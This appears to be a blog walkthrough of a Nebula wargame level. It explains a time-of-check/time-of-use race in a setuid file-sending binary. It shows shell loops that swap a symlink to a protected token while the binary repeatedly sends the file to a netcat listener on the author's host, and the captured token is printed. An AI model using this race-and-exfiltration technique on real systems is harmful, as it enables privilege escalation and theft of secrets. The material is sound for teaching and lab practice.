Nebula exploit exercises walkthrough – level10

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int main(int argc, char **argv)
{
  char *file;
  char *host;

  if(argc < 3) {
    printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);
    exit(1);
  }

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
    int fd;
    int ffd;
    int rc;
    struct sockaddr_in sin;
    char buffer[4096];

    printf("Connecting to %s:18211 .. ", host); fflush(stdout);

    fd = socket(AF_INET, SOCK_STREAM, 0);

    memset(&sin, 0, sizeof(struct sockaddr_in));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = inet_addr(host);
    sin.sin_port = htons(18211);

    if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
      printf("Unable to connect to host %s\n", host);
      exit(EXIT_FAILURE);
    }

#define HITHERE ".oO Oo.\n"
    if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
      printf("Unable to write banner to host %s\n", host);
      exit(EXIT_FAILURE);
    }
#undef HITHERE

    printf("Connected!\nSending file .. "); fflush(stdout);

    ffd = open(file, O_RDONLY);
    if(ffd == -1) {
      printf("Damn. Unable to open file\n");
      exit(EXIT_FAILURE);
    }

    rc = read(ffd, buffer, sizeof(buffer));
    if(rc == -1) {
      printf("Unable to read from file: %s\n", strerror(errno));
      exit(EXIT_FAILURE);
    }

    write(fd, buffer, rc);

    printf("wrote file!\n");

  } else {
    printf("You don't have access to %s\n", file);
  }
}

I think I can already see the problem.

Firstly, we can see that the token file we need to read out is permissioned such that level10 cannot see it:

level10@nebula:/home/flag10$ ls -asl
total 14
0 drwxr-x--- 2 flag10 level10   93 2011-11-20 21:22 .
0 drwxr-xr-x 1 root   root     420 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag10 flag10   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag10 flag10  3353 2011-05-18 02:54 .bashrc
8 -rwsr-x--- 1 flag10 level10 7743 2011-11-20 21:22 flag10
1 -rw-r--r-- 1 flag10 flag10   675 2011-05-18 02:54 .profile
1 -rw------- 1 flag10 flag10    37 2011-11-20 21:22 token

On line x above, we have the following:

 if(access(argv[1], R_OK) == 0) {

From the man page of access:

access() checks whether the calling process can access the file path‐
name.

The check is done using the calling process's real UID and GID, rather
than the effective IDs as is done when actually attempting an operation
(e.g., open(2)) on the file.

So we check the file permissions using the real UID (level10), but then later on we do:

    ffd = open(file, O_RDONLY);

and open uses the effective UID, and as the executable has suid, this means flag10.

This is commonly called a time-of-use to time-of-check or TOCTOU bug (Wikipedia's example is pretty much exactly the same issue)

If we can swap out the file between the time-of-check and the time-of-use, we should be able to send token.

First, let's just check the program works as expected.

Setup a listening netcat on my host using:

andrew@andrews-mbp:~/nebula$ nc -l 18211

And then run it on nebula with a file we have access to:

level10@nebula:/home/flag10$ cat /tmp/token
testing token
level10@nebula:/home/flag10$ ./flag10 /tmp/token 10.211.55.2
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!

And we receive it at the other end, plus a little banner:

testing token
andrew@andrews-mbp:~/nebula$ nc -l 18211
.oO Oo.
testing token

Ok - so how do we explout the race condition? The best way to swap the file about is to use symolic links again. How do we time that though? I'm fundamentally a lazy person, so let's try and just swap out the files as quickly as we can and hope it works.

First, let's setup a loop that flips a symbolic link from the real token to a fake one repeatedly:

level10@nebula:/tmp$ while true; do ln -sf /home/flag10/token toctoutok; ln -sf /tmp/fake_token toctoutok; done &
[1] 12297

The f switch on ln makes sure we overwrite the existing symbolic link. The & at the end puts the job into the background.

Then let's setup the listening netcat to keep on listening rather than exit using the k switch.

andrew@andrews-mbp:~/nebula$ nc -kl 18211

And finally, let's run flag10 repeatedly using another bash one-liner:

level10@nebula:/tmp$ while true; do /home/flag10/flag10 /tmp/toctoutok 10.211.55.2; done 
You don't have access to /tmp/toctoutok
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
You don't have access to /tmp/toctoutok
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
You don't have access to /tmp/toctoutok
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
Connecting to 10.211.55.2:18211 .. Connected!
Sending file .. wrote file!
You don't have access to /tmp/toctoutok
You don't have access to /tmp/toctoutok

Go back to netcat and we have the token:

andrew@andrews-mbp:~/nebula$ nc -kl 18211
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
.oO Oo.
Fake Token

There we go - the password for flag10.

3 thoughts on “Nebula exploit exercises walkthrough – level10

  1. Permalink  ⋅ Reply

    Andrew

    April 6, 2016 at 5:44pm

    I just started going through these, thanks for your walkthroughs! I’m not sure if this on purpose, but in the /home/level10 directory, there’s a file called “x” with a bunch of blank lines and one line with what looks like a password from previous levels. I was able to log into the flag10 account with it and run getflag…

  2. Permalink  ⋅ Reply

    Giorgio Bonvicini

    June 2, 2016 at 11:56am

    Actually if you check your home folder (/home/level10) you’ll find a file called x which you can read without problems (you own it): it contains a whole lot of “new line characters”, but amongst them (line 158) there is the token! 😉

  3. Permalink  ⋅ Reply

    jlo

    May 11, 2017 at 1:35am

    Wow:
    $ strings x

    I still feel exploiting the bug is a better learning experience, however this is a time saver.

Leave a Reply to Giorgio Bonvicini Cancel reply

Your email will not be published. Name and Email fields are required.

This site uses Akismet to reduce spam. Learn how your comment data is processed.